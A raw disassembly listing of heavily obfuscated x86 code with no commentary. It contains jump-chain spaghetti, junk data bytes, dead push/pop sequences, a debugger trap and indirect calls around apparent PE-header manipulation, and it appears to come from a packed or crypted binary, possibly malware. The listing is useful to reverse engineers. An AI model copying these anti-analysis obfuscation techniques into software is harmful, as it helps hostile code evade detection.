loc_40435E:				; CODE XREF: .text:loc_40436Fj
		jmp	short loc_40438E
; ---------------------------------------------------------------------------
		dd 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
		db 92h,	63h, 60h
; ---------------------------------------------------------------------------


loc_40436F:				; CODE XREF: .text:00404355j
		jmp	short loc_40435E
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_4043CB
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop


loc_404381:				; CODE XREF: .text:004043E7j
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp
		std


loc_40438E:				; CODE XREF: .text:loc_40435Ej
		push	esi
		push	eax
		push	edx
		mov	edx, 80DDDAh
		cmp	bh, ah
		cld
		pop	edx
		pop	eax
		call	near ptr sub_401692
		jmp	short loc_4043D2
; ---------------------------------------------------------------------------
		fdiv	dword ptr [ecx]
		push	ss
		xchg	eax, edi
		test	[ebp-5Eh], ch


loc_4043A9:				; CODE XREF: .text:loc_4043D2j
		jmp	short loc_4043E9
; ---------------------------------------------------------------------------
		db 33h
		dd 8FEE69F0h, 0ABFA251Ch, 87C6A108h, 2352DDB4h,	7F9ED920h
		dd 9BAA954Ch, 77761138h
		db 0E4h, 4Dh, 2
; ---------------------------------------------------------------------------


loc_4043CB:				; CODE XREF: .text:00404378j
		adc	edx, [eax+49h]
		dec	esi
		outsd
		jl	short near ptr byte_4043D7


loc_4043D2:				; CODE XREF: .text:004043A0j
		jmp	short loc_4043A9
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 68h
byte_4043D7	db 81h			; CODE XREF: .text:004043D0j
		db 26h,	67h
; ---------------------------------------------------------------------------


loc_4043DA:				; CODE XREF: .text:loc_4043E9j
		jmp	short loc_404408
; ---------------------------------------------------------------------------
		adc	al, 0BDh
		mov	dl, 3
		cmp	byte ptr [ecx+75AC5FFEh], 0Ah
		jnp	short loc_404381


loc_4043E9:				; CODE XREF: .text:loc_4043A9j
		jmp	short loc_4043DA
; ---------------------------------------------------------------------------


loc_4043EB:				; CODE XREF: .text:loc_404408j
		jmp	short loc_404418
; ---------------------------------------------------------------------------
		db 0F1h, 0D6h, 57h
		dd 0F3622D44h, 4FAE29B0h, 6BBAE5DCh, 478661C8h,	0E3129D74h
		dd 3F5E99E0h
; ---------------------------------------------------------------------------


loc_404408:				; CODE XREF: .text:loc_4043DAj
		jmp	short loc_4043EB
; ---------------------------------------------------------------------------
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h


loc_404418:				; CODE XREF: .text:loc_4043EBj
		call	eax
		jmp	short loc_40442A
; ---------------------------------------------------------------------------
		dec	ebx
		sub	[ecx-1Ah], al
		daa
		aam	7Dh


loc_404423:				; CODE XREF: .text:loc_40442Aj
		jmp	short loc_404451
; ---------------------------------------------------------------------------
		db 72h,	0C3h, 40h
		db 79h,	0BEh
; ---------------------------------------------------------------------------


loc_40442A:				; CODE XREF: .text:0040441Aj
		jmp	short loc_404423
; ---------------------------------------------------------------------------


loc_40442C:				; CODE XREF: .text:loc_404451j
		jmp	short loc_404462
; ---------------------------------------------------------------------------
		dw 6C1Fh
		dd 583BCA35h, 41796B1h,	70B322EDh, 9C0F6EE9h, 882B7AA5h
		dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h
; ---------------------------------------------------------------------------


loc_404451:				; CODE XREF: .text:loc_404423j
		jmp	short loc_40442C
; ---------------------------------------------------------------------------
		db 2Ah
		dd 0F691B81Bh, 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_404462:				; CODE XREF: .text:loc_40442Cj
		add	esp, 4
		jmp	short loc_404494
; ---------------------------------------------------------------------------
		db 94h
		db 3Dh,	32h
; ---------------------------------------------------------------------------


loc_40446A:				; CODE XREF: .text:loc_404494j
		jmp	short loc_4044AC
; ---------------------------------------------------------------------------
		dd 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h,	2EA93073h
		dd 3A655CCFh, 6E148EBh,	921DF4C7h, 0DE196063h, 0EAD58CBFh
; ---------------------------------------------------------------------------


loc_404494:				; CODE XREF: .text:00404465j
		jmp	short loc_40446A
; ---------------------------------------------------------------------------


loc_404496:				; CODE XREF: .text:loc_4044ACj
		jmp	short loc_4044C7
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
; ---------------------------------------------------------------------------


loc_4044AC:				; CODE XREF: .text:loc_40446Aj
		jmp	short loc_404496
; ---------------------------------------------------------------------------
		dw 54A7h
		dd 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h, 84971631h, 0F033A26Dh
		db 69h,	0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_4044C7:				; CODE XREF: .text:loc_404496j
		mov	eax, ebp
		jmp	short loc_4044E7
; ---------------------------------------------------------------------------
		stosd
		or	[ecx-224B783Ah], ah


loc_4044D2:				; CODE XREF: .text:loc_4044E7j
		jmp	short loc_4044FE
; ---------------------------------------------------------------------------
		dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h
; ---------------------------------------------------------------------------
		add	dl, [ebx]
		push	eax


loc_4044E7:				; CODE XREF: .text:004044C9j
		jmp	short loc_4044D2
; ---------------------------------------------------------------------------
		db 49h,	4Eh, 6Fh
		dd 8B5A057Ch, 67268168h, 3B2BD14h, 5FFEB980h
		db 0ACh, 75h
; ---------------------------------------------------------------------------


loc_4044FE:				; CODE XREF: .text:loc_4044D2j
		add	eax, [eax+3Ch]
		push	eax
		push	ebx
		test	al, ch
		push	ebx
		pop	ebx
		push	ebp
		pop	eax
		dec	ebx
		cld
		pop	ebx
		pop	eax
		push	10000001h
		push	esi
		push	ebx
		mov	esi, ebp
		clc
		cld
		pop	ebx
		pop	esi
		pop	edi
		jmp	short loc_40454B
; ---------------------------------------------------------------------------
		db 4Fh,	0DCh, 0E5h
		dd 61C86BBAh
; ---------------------------------------------------------------------------


loc_404524:				; CODE XREF: .text:loc_40454Bj
		jmp	short loc_404560
; ---------------------------------------------------------------------------
		dw 4786h
		dd 0E3129D74h, 3F5E99E0h, 5B6A550Ch, 3736D1F8h,	0D3C20DA4h
		dd 2F0E0910h, 4B1AC53Ch, 27E64128h
		db 0D4h, 7Dh, 72h
; ---------------------------------------------------------------------------


loc_40454B:				; CODE XREF: .text:0040451Bj
		jmp	short loc_404524
; ---------------------------------------------------------------------------


loc_40454D:				; CODE XREF: .text:loc_404560j
		jmp	short loc_40457F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h
; ---------------------------------------------------------------------------


loc_404560:				; CODE XREF: .text:loc_404524j
		jmp	short loc_40454D
; ---------------------------------------------------------------------------
		dw 0E970h
		db 6Eh,	0Fh
; ---------------------------------------------------------------------------


loc_404566:				; CODE XREF: .text:loc_40457Fj
		jmp	short loc_404596
; ---------------------------------------------------------------------------
		dd 2B7AA59Ch, 7462188h,	0A3D25D34h, 0FF1E59A0h,	1B2A15CCh
		db 0B8h, 91h, 0F6h
; ---------------------------------------------------------------------------


loc_40457F:				; CODE XREF: .text:loc_40454Dj
		jmp	short loc_404566
; ---------------------------------------------------------------------------
		db 0F7h, 64h, 0CDh
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh, 3D94E7A6h
		db 32h,	83h
; ---------------------------------------------------------------------------


loc_404596:				; CODE XREF: .text:loc_404566j
		cmp	edi, 10000001h
		jz	loc_404688
		jmp	short loc_4045CE
; ---------------------------------------------------------------------------
		db 0DFh
; ---------------------------------------------------------------------------


loc_4045A5:				; CODE XREF: .text:loc_4045CEj
		jmp	short loc_4045E5
; ---------------------------------------------------------------------------
		db 2Ch
		dd 18FB8AF5h, 0C4D75671h, 3073E2ADh, 5CCF2EA9h,	48EB3A65h
		dd 0F4C706E1h, 6063921Dh, 8CBFDE19h, 78DBEAD5h
		db 51h,	0B6h
; ---------------------------------------------------------------------------


loc_4045CE:				; CODE XREF: .text:004045A2j
		jmp	short loc_4045A5
; ---------------------------------------------------------------------------
		mov	bh, 24h
		lea	eax, [edx+53h]
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h
; ---------------------------------------------------------------------------
		inc	ebx


loc_4045E5:				; CODE XREF: .text:loc_4045A5j
		mov	[eax+78h], edi
		push	eax
		push	ecx
		jmp	$+5
		cmp	al, 0F2h
		cld
		pop	ecx
		pop	eax
		push	10000001h
		push	esi
		push	ecx
		and	ecx, 808B9Ah
		shr	esi, 9Eh
		mov	ecx, edx
		cld
		pop	ecx
		pop	esi
		pop	dword ptr [eax+7Ch]
		jmp	short loc_40463A
; ---------------------------------------------------------------------------
		dw 6D84h
; ---------------------------------------------------------------------------
		mov	ds:0EE69F033h, al


loc_404615:				; CODE XREF: .text:loc_40463Aj
		jmp	short loc_40464A
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0ABFA251Ch, 87C6A108h, 2352DDB4h, 7F9ED920h,	9BAA954Ch
		dd 77761138h, 13024DE4h, 6F4E4950h
; ---------------------------------------------------------------------------
		jl	short near ptr byte_40463F


loc_40463A:				; CODE XREF: .text:0040460Cj
		jmp	short loc_404615
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 68h
byte_40463F	db 81h			; CODE XREF: .text:00404638j
		db 26h,	67h
; ---------------------------------------------------------------------------


loc_404642:				; CODE XREF: .text:loc_40464Aj
		jmp	short loc_40466D
; ---------------------------------------------------------------------------
		dd 3B2BD14h
		db 80h,	0B9h
; ---------------------------------------------------------------------------


loc_40464A:				; CODE XREF: .text:loc_404615j
		jmp	short loc_404642
; ---------------------------------------------------------------------------
		dd 75AC5FFEh, 0F1987B0Ah
; ---------------------------------------------------------------------------
		setalc
		push	edi
		inc	esp


loc_404657:				; CODE XREF: .text:loc_40466Dj
		jmp	short loc_404688
; ---------------------------------------------------------------------------
		db 2Dh,	62h, 0F3h
		dd 4FAE29B0h, 6BBAE5DCh, 478661C8h, 0E3129D74h
		db 0E0h
; ---------------------------------------------------------------------------


loc_40466D:				; CODE XREF: .text:loc_404642j
		jmp	short loc_404657
; ---------------------------------------------------------------------------
		cdq
		pop	esi
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx


loc_404688:				; CODE XREF: .text:0040459Cj
					; .text:loc_404657j
		push	11000h
		push	edx
		push	esi
		and	esi, 80AA1Ah
		xor	edx, eax
		xor	edx, ecx
		mov	edx, 80CC5Ah
		xor	edx, edi
		lea	esi, ds:808A1Ah
		cld
		pop	esi
		pop	edx
		pop	edi
		push	edx
		push	ecx
		mov	edx, edx
		ror	edx, 0F7h
		mov	ecx, 808DDAh
		xchg	edx, edx
		inc	edx
		test	al, al
		cld
		pop	ecx
		pop	edx
		cmp	edi, 10000001h
		jz	loc_4047E9
		jmp	short loc_4046F7
; ---------------------------------------------------------------------------
		db 0BEh, 1Fh, 6Ch
; ---------------------------------------------------------------------------


loc_4046CF:				; CODE XREF: .text:loc_4046F7j
		jmp	short loc_40470A
; ---------------------------------------------------------------------------
		db 35h,	0CAh, 3Bh
		dd 1796B158h, 0B322ED04h, 0F6EE970h, 2B7AA59Ch,	7462188h
		dd 0A3D25D34h, 0FF1E59A0h, 1B2A15CCh
		db 0B8h, 91h, 0F6h
; ---------------------------------------------------------------------------


loc_4046F7:				; CODE XREF: .text:004046CAj
		jmp	short loc_4046CF
; ---------------------------------------------------------------------------
		db 0F7h, 64h, 0CDh
		dd 0C9D09382h, 85FCEFCEh, 1E80BDAh
		db 0A6h, 0E7h
; ---------------------------------------------------------------------------


loc_40470A:				; CODE XREF: .text:loc_4046CFj
		mov	[eax+88h], edi
		jmp	short loc_40473E
; ---------------------------------------------------------------------------
		dw 0DF7Eh
		dd 0FB8AF52Ch
		db 18h
; ---------------------------------------------------------------------------


loc_404719:				; CODE XREF: .text:loc_40473Ej
		jmp	short loc_40474E
; ---------------------------------------------------------------------------
		db 71h
		dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h
		dd 19606392h, 0D58CBFDEh, 5178DBEAh
; ---------------------------------------------------------------------------
		mov	dh, 0B7h


loc_40473E:				; CODE XREF: .text:00404710j
		jmp	short loc_404719
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx
		push	ebx


loc_404744:				; CODE XREF: .text:loc_40474Ej
		jmp	short loc_40476F
; ---------------------------------------------------------------------------
		db 90h
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------


loc_40474E:				; CODE XREF: .text:loc_404719j
		jmp	short loc_404744
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		dd 33A26D84h, 8FEE69F0h
; ---------------------------------------------------------------------------
		sbb	al, 25h
		cli


loc_40476F:				; CODE XREF: .text:loc_404744j
		push	2FCh
		jmp	short loc_4047A1
; ---------------------------------------------------------------------------
		dw 0DDB4h
		dd 0D9202352h, 954C7F9Eh, 11389BAAh, 4DE47776h,	49501302h
		dd 57C6F4Eh, 81688B5Ah,	0BD146726h
		db 0B2h
; ---------------------------------------------------------------------------


loc_404799:				; CODE XREF: .text:loc_4047A1j
		jmp	short loc_4047C4
; ---------------------------------------------------------------------------
		add	eax, [eax-53A00147h]


loc_4047A1:				; CODE XREF: .text:00404774j
		jmp	short loc_404799
; ---------------------------------------------------------------------------
		db 75h
		db 0Ah,	7Bh
; ---------------------------------------------------------------------------


loc_4047A6:				; CODE XREF: .text:loc_4047C4j
		jmp	short loc_4047D7
; ---------------------------------------------------------------------------
		dd 57D6F198h, 0F3622D44h, 4FAE29B0h, 6BBAE5DCh,	478661C8h
		dd 0E3129D74h, 3F5E99E0h
; ---------------------------------------------------------------------------


loc_4047C4:				; CODE XREF: .text:loc_404799j
		jmp	short loc_4047A6
; ---------------------------------------------------------------------------
		dw 550Ch
		dd 0D1F85B6Ah, 0DA43736h, 910D3C2h
		db 0Eh,	2Fh, 3Ch
; ---------------------------------------------------------------------------


loc_4047D7:				; CODE XREF: .text:loc_4047A6j
		pop	dword ptr [eax+8Ch]
		push	edx
		push	esi
		mov	si, 4949h
		rol	edx, 5Ch
		cld
		pop	esi
		pop	edx


loc_4047E9:				; CODE XREF: .text:004046C4j
		push	ebx
		jmp	short loc_404817
; ---------------------------------------------------------------------------
		db 0D4h, 7Dh, 72h
; ---------------------------------------------------------------------------


loc_4047EF:				; CODE XREF: .text:loc_404817j
		jmp	short loc_40482A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		dw 7940h
; ---------------------------------------------------------------------------
		mov	esi, 0CA356C1Fh
		cmp	ebx, [eax-4Fh]
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf
		movsd
		jp	short loc_404835
		mov	[ecx], ah
		inc	esi
		pop	es
		xor	al, 5Dh
		shl	byte ptr [ebx-0E1A660h], cl
		int	3		; Trap to Debugger


loc_404817:				; CODE XREF: .text:004047EAj
		jmp	short loc_4047EF
; ---------------------------------------------------------------------------
		db 15h,	2Ah
byte_40481B	db 1Bh			; CODE XREF: .text:0040483Aj
; ---------------------------------------------------------------------------


loc_40481C:				; CODE XREF: .text:loc_40482Aj
		jmp	short loc_404845
; ---------------------------------------------------------------------------
		dw 91B8h
		dd 0CD64F7F6h, 0C9D09382h
		db 0CEh, 0EFh
; ---------------------------------------------------------------------------


loc_40482A:				; CODE XREF: .text:loc_4047EFj
		jmp	short loc_40481C
; ---------------------------------------------------------------------------
		dd 0BDA85FCh, 0E7A601E8h
; ---------------------------------------------------------------------------
		xchg	eax, esp


loc_404835:				; CODE XREF: .text:00404808j
		cmp	eax, 39008332h
		jle	short near ptr byte_40481B
		sub	al, 0F5h
		mov	bh, bl
		sbb	[ecx+56h], dh
		xlat
; ---------------------------------------------------------------------------
		db 0C4h
; ---------------------------------------------------------------------------


loc_404845:				; CODE XREF: .text:loc_40481Cj
		lea	eax, [esp]
		push	ecx
		push	edx
		ja	loc_40485A
		xchg	ecx, ecx
		sub	edx, 80A2DAh
		xor	edx, edx


loc_40485A:				; CODE XREF: .text:0040484Aj
		push	edi
		pop	ecx
		mov	ecx, ecx
		xor	edx, edx
		repne cld
		pop	edx
		pop	ecx
		push	eax
		jmp	short loc_404892
; ---------------------------------------------------------------------------
		db 5Ch
		db 65h,	3Ah
; ---------------------------------------------------------------------------


loc_40486A:				; CODE XREF: .text:loc_404892j
		jmp	short loc_4048A5
; ---------------------------------------------------------------------------
		jmp	short loc_4048B6
; ---------------------------------------------------------------------------
		dw 6E1h
; ---------------------------------------------------------------------------
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch
		js	short loc_4048D0
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		test	al, 0C1h
		cmpsw
		push	esp


loc_404892:				; CODE XREF: .text:00404865j
		jmp	short loc_40486A
; ---------------------------------------------------------------------------
		db 0FDh, 0F2h, 43h
; ---------------------------------------------------------------------------


loc_404897:				; CODE XREF: .text:loc_4048A5j
		jmp	short loc_4048C8
; ---------------------------------------------------------------------------
		db 0C0h, 0F9h, 3Eh
		dd 4AB5EC9Fh, 1631D8BBh
; ---------------------------------------------------------------------------
		xchg	eax, edi


loc_4048A5:				; CODE XREF: .text:loc_40486Aj
		jmp	short loc_404897
; ---------------------------------------------------------------------------
		db 84h
		dd 0F033A26Dh, 1C8FEE69h, 8ABFA25h
		db 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_4048B6:				; CODE XREF: .text:0040486Cj
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf
		jg	short loc_40490C
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_40493E
; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------


loc_4048C8:				; CODE XREF: .text:loc_404897j
		push	2
		push	ecx
		push	eax
		cmp	al, 0C4h
		xchg	ecx, eax


loc_4048D0:				; CODE XREF: .text:0040487Dj
		mov	ecx, 81AF1Ah
		xor	eax, 80B89Ah
		cld
		pop	eax
		pop	ecx
		push	400h
		jmp	short loc_4048F8
; ---------------------------------------------------------------------------
		db 4Eh,	6Fh, 7Ch
; ---------------------------------------------------------------------------


loc_4048E8:				; CODE XREF: .text:loc_4048F8j
		jmp	short loc_404913
; ---------------------------------------------------------------------------
		dw 5A05h
		dd 2681688Bh, 0B2BD1467h, 0FEB98003h
; ---------------------------------------------------------------------------


loc_4048F8:				; CODE XREF: .text:004048E3j
		jmp	short loc_4048E8
; ---------------------------------------------------------------------------
		dw 0AC5Fh
		dd 987B0A75h, 4457D6F1h, 0B0F3622Dh, 0DC4FAE29h
; ---------------------------------------------------------------------------


loc_40490C:				; CODE XREF: .text:004048BEj
		in	eax, 0BAh	; Interrupt Controller #2, 8259A
		imul	ecx, eax, 61h
; ---------------------------------------------------------------------------
		db 86h,	47h
; ---------------------------------------------------------------------------


loc_404913:				; CODE XREF: .text:loc_4048E8j
		push	ebp
		push	ebx
		push	ecx
		not	ecx
		cld
		mov	ebx, 81105Ah
		push	eax
		pop	ebx
		xor	ebx, ebx
		mov	ecx, esi
		inc	ebx
		cld
		pop	ecx
		pop	ebx
		push	0A9DE6F5Ah
		push	ebx
		push	eax
		dec	ebx
		rcr	ebx, 8Eh
		mov	ebx, esp
		dec	eax
		cld
		pop	eax
		pop	ebx
		push	esi
		jmp	short loc_40496C
; ---------------------------------------------------------------------------
		db 55h,	6Ah
; ---------------------------------------------------------------------------


loc_40493E:				; CODE XREF: .text:004048C5j
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa


loc_404943:				; CODE XREF: .text:loc_40496Cj
		jmp	short loc_404983
; ---------------------------------------------------------------------------
		db 0A4h, 0Dh, 0C2h
		dd 0E0910D3h, 1AC53C2Fh, 0E641284Bh, 727DD427h,	0BE7940C3h
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h
; ---------------------------------------------------------------------------


loc_40496C:				; CODE XREF: .text:0040493Aj
		jmp	short loc_404943
; ---------------------------------------------------------------------------
		dw 9C0Fh
		dd 882B7AA5h
; ---------------------------------------------------------------------------


loc_404974:				; CODE XREF: .text:loc_404983j
		jmp	short loc_4049A2
; ---------------------------------------------------------------------------
		dw 4621h
		dd 0D25D3407h, 1E59A0A3h
		db 0FFh, 0CCh, 15h
; ---------------------------------------------------------------------------


loc_404983:				; CODE XREF: .text:loc_404943j
		jmp	short loc_404974
; ---------------------------------------------------------------------------
		db 2Ah,	1Bh, 0B8h
		dd 64F7F691h, 0D09382CDh, 0FCEFCEC9h, 0E80BDA85h, 94E7A601h
		dd 83323Dh
		db 39h,	7Eh
; ---------------------------------------------------------------------------


loc_4049A2:				; CODE XREF: .text:loc_404974j
		call	near ptr sub_401692
		push	ecx
		push	ebx
		mov	ecx, 808DDAh
		lea	ecx, ds:80AE5Ah
		test	ecx, esp
		dec	ecx
		inc	ecx
		cld
		pop	ebx
		pop	ecx
		call	eax
		jmp	short loc_4049EC
; ---------------------------------------------------------------------------
		db 0C4h
		db 0ADh, 0E2h
; ---------------------------------------------------------------------------


loc_4049C2:				; CODE XREF: .text:loc_4049ECj
		jmp	short loc_4049FF
; ---------------------------------------------------------------------------
		dd 2EA93073h, 3A655CCFh, 6E148EBh, 921DF4C7h, 0DE196063h
		dd 0EAD58CBFh, 0B65178DBh, 428D24B7h, 8E899053h, 9A45BCAFh
; ---------------------------------------------------------------------------


loc_4049EC:				; CODE XREF: .text:004049BDj
		jmp	short loc_4049C2
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------


loc_4049EF:				; CODE XREF: .text:loc_4049FFj
		jmp	short loc_404A1A
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h
		db 9Fh,	0ECh, 0B5h
; ---------------------------------------------------------------------------


loc_4049FF:				; CODE XREF: .text:loc_4049C2j
		jmp	short loc_4049EF
; ---------------------------------------------------------------------------
		db 4Ah,	0BBh, 0D8h
; ---------------------------------------------------------------------------


loc_404A04:				; CODE XREF: .text:loc_404A1Aj
		jmp	short loc_404A35
; ---------------------------------------------------------------------------
		dw 1631h
		dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
		db 87h,	0B4h
; ---------------------------------------------------------------------------


loc_404A1A:				; CODE XREF: .text:loc_4049EFj
		jmp	short loc_404A04
; ---------------------------------------------------------------------------
		dd 202352DDh, 4C7F9ED9h, 389BAA95h, 0E4777611h,	5013024Dh
		dd 7C6F4E49h
		db 5
; ---------------------------------------------------------------------------


loc_404A35:				; CODE XREF: .text:loc_404A04j
		add	esp, 4
		push	edx
		push	ecx
		jo	short loc_404A53
		cmp	al, 0E5h
		mov	dx, 4EBDh
		cmp	al, 0CFh
		cmp	ecx, 808BDAh
		cmp	edi, ebp
		lea	ecx, ds:8093DAh
		dec	ecx


loc_404A53:				; CODE XREF: .text:00404A3Aj
		mov	ecx, eax
		cld
		pop	ecx
		pop	edx
		push	44315FEEh
		jmp	short loc_404A88
; ---------------------------------------------------------------------------
		db 14h
		db 0BDh, 0B2h
; ---------------------------------------------------------------------------


loc_404A62:				; CODE XREF: .text:loc_404A88j
		jmp	short loc_404A9B
; ---------------------------------------------------------------------------
		dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h
		dd 0BAE5DC4Fh, 8661C86Bh, 129D7447h, 5E99E0E3h
; ---------------------------------------------------------------------------


loc_404A88:				; CODE XREF: .text:00404A5Dj
		jmp	short loc_404A62
; ---------------------------------------------------------------------------
		aas
		or	al, 55h
		push	5Bh
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das


loc_404A9B:				; CODE XREF: .text:loc_404A62j
		push	esi
		push	ecx
		push	edx
		neg	ecx
		cld
		cld
		pop	edx
		pop	ecx
		call	near ptr sub_401692
		push	esi
		push	edi
		xor	esi, eax
		mov	edi, 80A31Ah
		ror	esi, 0C9h
		mov	edi, edx
		jmp	loc_404ABF
; ---------------------------------------------------------------------------
		push	eax
		pop	esi
		dec	esi


loc_404ABF:				; CODE XREF: .text:00404AB7j
		push	esi
		pop	esi
		dec	esi
		cld
		pop	edi
		pop	esi
		push	eax
		push	edi
		push	eax
		mov	eax, 80E29Ah
		test	al, ch
		cld
		pop	eax
		pop	edi
		push	eax
		jmp	short loc_404B03
; ---------------------------------------------------------------------------
		db 1Fh,	6Ch, 35h
		dd 0B1583BCAh
; ---------------------------------------------------------------------------


loc_404ADC:				; CODE XREF: .text:loc_404B03j
		jmp	short loc_404B13
; ---------------------------------------------------------------------------
		dw 1796h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch, 7462188h, 0A3D25D34h
		dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h
		db 64h,	0CDh, 82h
; ---------------------------------------------------------------------------


loc_404B03:				; CODE XREF: .text:00404AD3j
		jmp	short loc_404ADC
; ---------------------------------------------------------------------------
		db 93h,	0D0h, 0C9h
		db 0CEh
; ---------------------------------------------------------------------------


loc_404B09:				; CODE XREF: .text:loc_404B13j
		jmp	short loc_404B36
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0BDA85FCh
		db 0E8h, 1, 0A6h
; ---------------------------------------------------------------------------


loc_404B13:				; CODE XREF: .text:loc_404ADCj
		jmp	short loc_404B09
; ---------------------------------------------------------------------------
		db 0E7h
; ---------------------------------------------------------------------------


loc_404B16:				; CODE XREF: .text:loc_404B36j
		jmp	short loc_404B46
; ---------------------------------------------------------------------------
		dd 83323D94h, 0DF7E3900h, 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		dd 0CF2EA930h, 0EB3A655Ch
		db 48h,	0E1h
; ---------------------------------------------------------------------------


loc_404B36:				; CODE XREF: .text:loc_404B09j
		jmp	short loc_404B16
; ---------------------------------------------------------------------------
		push	es
		mov	esp, 6063921Dh
		sbb	esi, ebx
		mov	edi, 0DBEAD58Ch


loc_404B46:				; CODE XREF: .text:loc_404B16j
		call	eax
		push	edi
		push	ecx
		test	cl, bl
		mov	cx, 4A3Dh
		xchg	ecx, ecx
		jnz	loc_404B5D
		xor	ecx, ebp
		cmc
		cmp	ecx, edx


loc_404B5D:				; CODE XREF: .text:00404B52j
		xor	edi, esp
		cmp	al, 0C6h
		cld
		pop	ecx
		pop	edi
		dec	esi
		push	edi
		push	ebx
		shl	edi, 0F7h
		ja	loc_404B75
		rcl	ebx, 3Dh
		mov	edi, esi


loc_404B75:				; CODE XREF: .text:00404B6Aj
		cmp	al, 0D6h
		test	ecx, edx
		neg	ebx
		shr	ebx, 48h
		cld
		pop	ebx
		pop	edi
		add	esi, eax
		push	edx
		push	esi
		shl	esi, 0FBh
		cld
		pop	esi
		pop	edx
		push	7970h
		push	edi
		push	ebx
		xor	ebx, 809B5Ah
		inc	edi
		cld
		pop	ebx
		pop	edi
		push	0A89EA67Bh
		jmp	short loc_404BCC
; ---------------------------------------------------------------------------
		db 0BCh
		db 45h,	9Ah
; ---------------------------------------------------------------------------


loc_404BA6:				; CODE XREF: .text:loc_404BCCj
		jmp	short loc_404BDF
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh,	0A26D8497h
		dd 0EE69F033h, 0FA251C8Fh, 0C6A108ABh
; ---------------------------------------------------------------------------


loc_404BCC:				; CODE XREF: .text:00404BA1j
		jmp	short loc_404BA6
; ---------------------------------------------------------------------------
		xchg	esi, [ebp+ebx*8-26DFDCAEh]
		sahf
		jg	short loc_404C24
		xchg	eax, ebp
		stosb
		wait
		cmp	[ecx], dl
		jbe	short loc_404C56


loc_404BDF:				; CODE XREF: .text:loc_404BA6j
		push	9000h
		push	ebx
		push	ecx
		mov	ebx, 80999Ah
		rcl	ecx, 2
		mov	ecx, esi
		cmc
		cld
		pop	ecx
		pop	ebx
		call	near ptr sub_4058B9
		jmp	short loc_404C0E
; ---------------------------------------------------------------------------
		db 5Ah
		db 8Bh,	68h
; ---------------------------------------------------------------------------


loc_404BFE:				; CODE XREF: .text:loc_404C0Ej
		jmp	short loc_404C29
; ---------------------------------------------------------------------------
		and	dword ptr [esi], 0B2BD1467h
		add	eax, [eax-53A00147h]
		jnz	short loc_404C18


loc_404C0E:				; CODE XREF: .text:00404BF9j
					; .text:00404C2Cj
		jmp	short loc_404BFE
; ---------------------------------------------------------------------------
		db 7Bh,	98h, 0F1h
; ---------------------------------------------------------------------------


loc_404C13:				; CODE XREF: .text:loc_404C29j
		jmp	short loc_404C44
; ---------------------------------------------------------------------------
		setalc
		push	edi
		inc	esp


loc_404C18:				; CODE XREF: .text:00404C0Cj
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
; ---------------------------------------------------------------------------
		db 0BAh, 6Bh, 0C8h
